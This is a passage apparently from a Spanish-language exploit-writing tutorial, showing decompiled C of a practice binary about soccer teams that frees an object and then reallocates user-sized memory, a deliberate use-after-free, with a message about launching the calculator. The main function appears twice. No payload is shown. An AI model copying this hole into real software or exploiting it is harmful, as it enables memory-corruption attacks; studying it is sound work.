</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> <span style="color:#a6e22e">HeapAlloc</span>(hHeap, <span style="color:#ae81ff">0</span>, v1);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( result )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span><span style="color:#a6e22e">sub_40BC66</span>() <span style="color:#f92672">||</span> <span style="color:#f92672">!</span><span style="color:#a6e22e">sub_40AEC7</span>(v1) )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">goto</span> LABEL_8;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>_BYTE <span style="color:#f92672">*</span><span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">sub_40ADB0</span>(_BYTE <span style="color:#f92672">*</span>a1, _BYTE <span style="color:#f92672">*</span>a2)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> _BYTE <span style="color:#f92672">*</span>v2; <span style="color:#75715e">// edi
</span></span></span><span style="display:flex;"><span> _BYTE <span style="color:#f92672">*</span>v3; <span style="color:#75715e">// ecx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v4; <span style="color:#75715e">// edx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v5; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> _BYTE <span style="color:#f92672">*</span>result; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v2 <span style="color:#f92672">=</span> a1;
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> a2;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ((<span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">__int8</span>)a2 <span style="color:#f92672">&</span> <span style="color:#ae81ff">3</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span>LABEL_6:
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> (<span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)v3 <span style="color:#f92672">+</span> <span style="color:#ae81ff">2130640639</span>) <span style="color:#f92672">^</span> <span style="color:#f92672">~*</span>(_DWORD <span style="color:#f92672">*</span>)v3;
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)v3;
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">+=</span> <span style="color:#ae81ff">4</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( (v5 <span style="color:#f92672">&</span> <span style="color:#ae81ff">0x81010100</span>) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>(_BYTE)v4 )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">goto</span> LABEL_14;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span><span style="color:#a6e22e">BYTE1</span>(v4) )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(_WORD <span style="color:#f92672">*</span>)v2 <span style="color:#f92672">=</span> (<span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">__int8</span>)v4;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> a1;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( (v4 <span style="color:#f92672">&</span> <span style="color:#ae81ff">0xFF0000</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(_WORD <span style="color:#f92672">*</span>)v2 <span style="color:#f92672">=</span> v4;
</span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> a1;
</span></span><span style="display:flex;"><span> v2[<span style="color:#ae81ff">2</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> result;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( (v4 <span style="color:#f92672">&</span> <span style="color:#ae81ff">0xFF000000</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)v2 <span style="color:#f92672">=</span> v4;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> a1;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(_DWORD <span style="color:#f92672">*</span>)v2 <span style="color:#f92672">=</span> v4;
</span></span><span style="display:flex;"><span> v2 <span style="color:#f92672">+=</span> <span style="color:#ae81ff">4</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LOBYTE</span>(v4) <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>v3<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>(_BYTE)v4 )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>v2<span style="color:#f92672">++</span> <span style="color:#f92672">=</span> v4;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ((<span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">__int8</span>)v3 <span style="color:#f92672">&</span> <span style="color:#ae81ff">3</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">goto</span> LABEL_6;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>LABEL_14:
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>v2 <span style="color:#f92672">=</span> v4;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> a1;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">sub_404E0C</span>(<span style="color:#66d9ef">int</span> a1, <span style="color:#66d9ef">int</span> a2, <span style="color:#66d9ef">int</span> a3)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">sub_404CCB</span>(a1, a2, a3);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>_DWORD <span style="color:#f92672">*</span>__thiscall <span style="color:#a6e22e">sub_401010</span>(_DWORD <span style="color:#f92672">*</span>this, <span style="color:#66d9ef">int</span> a2, <span style="color:#66d9ef">int</span> a3, <span style="color:#66d9ef">int</span> a4, <span style="color:#66d9ef">int</span> a5)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>this <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>off_41A33C;
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">2</span>] <span style="color:#f92672">=</span> a2;
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">3</span>] <span style="color:#f92672">=</span> a3;
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">5</span>] <span style="color:#f92672">=</span> a5;
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">4</span>] <span style="color:#f92672">=</span> a4;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> this;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v3; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v4; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v6[<span style="color:#ae81ff">500</span>]; <span style="color:#75715e">// [esp+0h] [ebp-238h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v7; <span style="color:#75715e">// [esp+1F4h] [ebp-44h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v8; <span style="color:#75715e">// [esp+1F8h] [ebp-40h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v9; <span style="color:#75715e">// [esp+1FCh] [ebp-3Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v10; <span style="color:#75715e">// [esp+200h] [ebp-38h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v11; <span style="color:#75715e">// [esp+204h] [ebp-34h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v12; <span style="color:#75715e">// [esp+208h] [ebp-30h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v13; <span style="color:#75715e">// [esp+20Ch] [ebp-2Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v14; <span style="color:#75715e">// [esp+210h] [ebp-28h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v15; <span style="color:#75715e">// [esp+214h] [ebp-24h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v16; <span style="color:#75715e">// [esp+218h] [ebp-20h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v17; <span style="color:#75715e">// [esp+21Ch] [ebp-1Ch] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v18; <span style="color:#75715e">// [esp+220h] [ebp-18h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v19; <span style="color:#75715e">// [esp+224h] [ebp-14h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v20; <span style="color:#75715e">// [esp+228h] [ebp-10h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v21; <span style="color:#75715e">// [esp+234h] [ebp-4h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v17 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> v15 <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> v16 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> off_421000 <span style="color:#f92672">=</span> printf;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">MessageBoxA</span>(<span style="color:#ae81ff">0</span>, <span style="color:#e6db74">"A ejecutar la calculadora..</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, <span style="color:#e6db74">"Vamosss"</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> v14 <span style="color:#f92672">=</span> <span style="color:#a6e22e">heapalloc</span>(<span style="color:#ae81ff">1228</span>);
</span></span><span style="display:flex;"><span> v21 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v14 )
</span></span><span style="display:flex;"><span> v13 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_401050</span>(<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>, <span style="color:#f92672">&</span>v17, <span style="color:#f92672">&</span>v15);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> v13 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> v9 <span style="color:#f92672">=</span> v13;
</span></span><span style="display:flex;"><span> v21 <span style="color:#f92672">=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> v18 <span style="color:#f92672">=</span> v13;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_40ADB0</span>(v13 <span style="color:#f92672">+</span> <span style="color:#ae81ff">24</span>, <span style="color:#e6db74">"San_Mastil"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_40ADB0</span>(v18 <span style="color:#f92672">+</span> <span style="color:#ae81ff">1027</span>, <span style="color:#e6db74">"San_Mastil_Capital"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(v18 <span style="color:#f92672">+</span> <span style="color:#ae81ff">224</span>) <span style="color:#f92672">=</span> <span style="color:#e6db74">"Liga_trastornada"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Equipo de la B es %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, (v18 <span style="color:#f92672">+</span> <span style="color:#ae81ff">24</span>));
</span></span><span style="display:flex;"><span> v12 <span style="color:#f92672">=</span> <span style="color:#a6e22e">heapalloc</span>(<span style="color:#ae81ff">1024</span>);
</span></span><span style="display:flex;"><span> v21 <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v12 )
</span></span><span style="display:flex;"><span> v11 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_401010</span>(<span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#f92672">&</span>v15, <span style="color:#f92672">&</span>v17);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> v11 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> v8 <span style="color:#f92672">=</span> v11;
</span></span><span style="display:flex;"><span> v21 <span style="color:#f92672">=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> v19 <span style="color:#f92672">=</span> v11;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_40ADB0</span>(v11 <span style="color:#f92672">+</span> <span style="color:#ae81ff">24</span>, <span style="color:#e6db74">"Mal_Boys"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(v19 <span style="color:#f92672">+</span> <span style="color:#ae81ff">224</span>) <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>v17;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Equipo de la A es %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, (v19 <span style="color:#f92672">+</span> <span style="color:#ae81ff">24</span>));
</span></span><span style="display:flex;"><span> (<span style="color:#f92672">**</span>v19)(v19, <span style="color:#ae81ff">2000</span>);
</span></span><span style="display:flex;"><span> (<span style="color:#f92672">**</span>v18)(v18, <span style="color:#ae81ff">1000</span>);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(v18 <span style="color:#f92672">+</span> <span style="color:#ae81ff">1026</span>) <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Equipo de la A Descendio borrarlo de equipos de la A </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> v19;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401562</span>(v19);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Ingrese largo de nombre de nuevo equipo ascendido a la A</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_4014F0</span>(<span style="color:#e6db74">"%d"</span>, <span style="color:#f92672">&</span>v16);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> v20 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_404F69</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( v20 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">10</span> <span style="color:#f92672">&&</span> v20 <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> );
</span></span><span style="display:flex;"><span> v10 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_40AEA8</span>(v16);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Escriba nombre de nuevo equipo ascendido</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_404C47</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_404E0C</span>(v10, v16, v3);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> v20 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_404F69</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( v20 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">10</span> <span style="color:#f92672">&&</span> v20 <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> );
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Escriba nombre de la liga de equipo ascendido</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_404C47</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_404E0C</span>(v6, <span style="color:#ae81ff">500</span>, v4);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> v20 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_404F69</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( v20 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">10</span> <span style="color:#f92672">&&</span> v20 <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> );
</span></span><span style="display:flex;"><span> <span style="color:#f92672">**</span>(v19 <span style="color:#f92672">+</span> <span style="color:#ae81ff">20</span>) <span style="color:#f92672">=</span> v15;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_4021E0</span>(<span style="color:#f92672">*</span>(v19 <span style="color:#f92672">+</span> <span style="color:#ae81ff">224</span>), v6, <span style="color:#ae81ff">200</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Nombre de nuevo equipo ascendido</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">off_421000</span>(v10);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Nombre de la liga de equipo ascendido</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">off_421000</span>(v6);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}<span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v3; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v4; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v6[<span style="color:#ae81ff">500</span>]; <span style="color:#75715e">// [esp+0h] [ebp-238h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v7; <span style="color:#75715e">// [esp+1F4h] [ebp-44h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v8; <span style="color:#75715e">// [esp+1F8h] [ebp-40h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v9; <span style="color:#75715e">// [esp+1FCh] [ebp-3Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v10; <span style="color:#75715e">// [esp+200h] [ebp-38h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v11; <span style="color:#75715e">// [esp+204h] [ebp-34h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v12; <span style="color:#75715e">// [esp+208h] [ebp-30h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v13; <span style="color:#75715e">// [esp+20Ch] [ebp-2Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v14; <span style="color:#75715e">// [esp+210h] [ebp-28h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v15; <span style="color:#75715e">// [esp+214h] [ebp-24h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v16; <span style="color:#75715e">// [esp+218h] [ebp-20h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v17; <span style="color:#75715e">// [esp+21Ch] [ebp-1Ch] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v18; <span style="color:#75715e">// [esp+220h] [ebp-18h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v19; <span style="color:#75715e">// [esp+224h] [ebp-14h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v20; <span style="color:#75715e">// [esp+228h] [ebp-10h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v21; <span style="color:#75715e">// [esp+234h] [ebp-4h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v17 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> v15 <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> v16 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> off_421000 <span style="color:#f92672">=</span> printf;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">MessageBoxA</span>(<span style="color:#ae81ff">0</span>, <span style="color:#e6db74">"A ejecutar la calculadora..</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, <span style="color:#e6db74">"Vamosss"</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> v14 <span style="color:#f92672">=</span> <span style="color:#a6e22e">heapalloc</span>(<span style="color:#ae81ff">1228</span>);
</span></span><span style="display:flex;"><span> v21 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v14 )
</span></span><span style="display:flex;"><span> v13 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_401050</span>(<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>, <span style="color:#f92672">&</span>v17, <span style="color:#f92672">&</span>v15);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> v13 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> v9 <span style="color:#f92672">=</span> v13;
</span></span><span style="display:flex;"><span> v21 <span style="color:#f92672">=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> v18 <span style="color:#f92672">=</span> v13;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_40ADB0</span>(v13 <span style="color:#f92672">+</span> <span style="color:#ae81ff">24</span>, <span style="color:#e6db74">"San_Mastil"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_40ADB0</span>(v18 <span style="color:#f92672">+</span> <span style="color:#ae81ff">1027</span>, <span style="color:#e6db74">"San_Mastil_Capital"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(v18 <span style="color:#f92672">+</span> <span style="color:#ae81ff">224</span>) <span style="color:#f92672">=</span> <span style="color:#e6db74">"Liga_trastornada"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Equipo de la B es %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, (v18 <span style="color:#f92672">+</span> <span style="color:#ae81ff">24</span>));
</span></span><span style="display:flex;"><span> v12 <span style="color:#f92672">=</span> <span style="color:#a6e22e">heapalloc</span>(<span style="color:#ae81ff">1024</span>);
</span></span><span style="display:flex;"><span> v21 <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v12 )
</span></span><span style="display:flex;"><span> v11 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_401010</span>(<span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1</span>, <span style="color:#f92672">&</span>v15, <span style="color:#f92672">&</span>v17);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> v11 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> v8 <span style="color:#f92672">=</span> v11;
</span></span><span style="display:flex;"><span> v21 <span style="color:#f92672">=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> v19 <span style="color:#f92672">=</span> v11;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_40ADB0</span>(v11 <span style="color:#f92672">+</span> <span style="color:#ae81ff">24</span>, <span style="color:#e6db74">"Mal_Boys"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(v19 <span style="color:#f92672">+</span> <span style="color:#ae81ff">224</span>) <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>v17;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Equipo de la A es %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, (v19 <span style="color:#f92672">+</span> <span style="color:#ae81ff">24</span>));
</span></span><span style="display:flex;"><span> (<span style="color:#f92672">**</span>v19)(v19, <span style="color:#ae81ff">2000</span>);
</span></span><span style="display:flex;"><span> (<span style="color:#f92672">**</span>v18)(v18, <span style="color:#ae81ff">1000</span>);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(v18 <span style="color:#f92672">+</span> <span style="color:#ae81ff">1026</span>) <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Equipo de la A Descendio borrarlo de equipos de la A </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> v19;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401562</span>(v19);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Ingrese largo de nombre de nuevo equipo ascendido a la A</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_4014F0</span>(<span style="color:#e6db74">"%d"</span>, <span style="color:#f92672">&</span>v16);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> v20 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_404F69</span>();
